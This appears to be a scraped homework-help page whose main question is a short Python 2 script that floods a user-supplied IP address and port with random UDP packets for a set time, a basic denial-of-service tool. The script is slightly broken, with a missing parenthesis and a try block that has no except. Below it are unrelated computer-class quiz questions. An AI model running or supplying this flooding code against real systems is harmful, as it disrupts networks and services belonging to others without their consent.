subject

Import os import sys
import time
import socket
import random

sock = socket. socket(socket. AF_INET, socket. SOCK_DGRAM)

bytes = random._urandom(1024)

os. system("clear")
ip = raw_input("Target's IP: ")
port = input("Port: ")
dur = input("Time: ")
timeout = time. time() + dur
sent = 0

while True:
try:
if time. time() > timeout:
break
else:
pass
sock. sendto(bytes,(ip, port))
sent = sent + 1
print("Sent %s packets to %s through port %s"%(sent, ip, port)

ansver
Answers: 1

Other questions on the subject: Computers and Technology

image
Computers and Technology, 22.06.2019 02:00, alexabessin
Aisha has finished working on a word processing document that contains 15 pages. she has added some special elements in the first three pages, page 9 and 10, and page 15 from the document. she wants to print only these pages to see how they look. which option is the correct way to represent (in the print dialog box) the pages that aisha wants to print?
Answers: 3
image
Computers and Technology, 23.06.2019 06:00, Disd112984
Which statement is true of web-based social media? a. they allow consumers to interact with and update content. b. they cannot be updated easily, as compared to print media. c. they are expensive to produce and maintain, as compared to print and television. d. they can exist independent of the internet.
Answers: 1
image
Computers and Technology, 24.06.2019 00:40, dheydar3506
What is the error in the following pseudocode? module main() call raisetopower(2, 1.5) end module module raisetopower(real value, integer power) declare real result set result = value^power display result end module
Answers: 1
image
Computers and Technology, 24.06.2019 02:30, sha273
Which option completes the explanation for conflict of interest in an organization
Answers: 1
You know the right answer?
Import os import sys
import time
import socket
import random

sock = socke...

Questions in other subjects: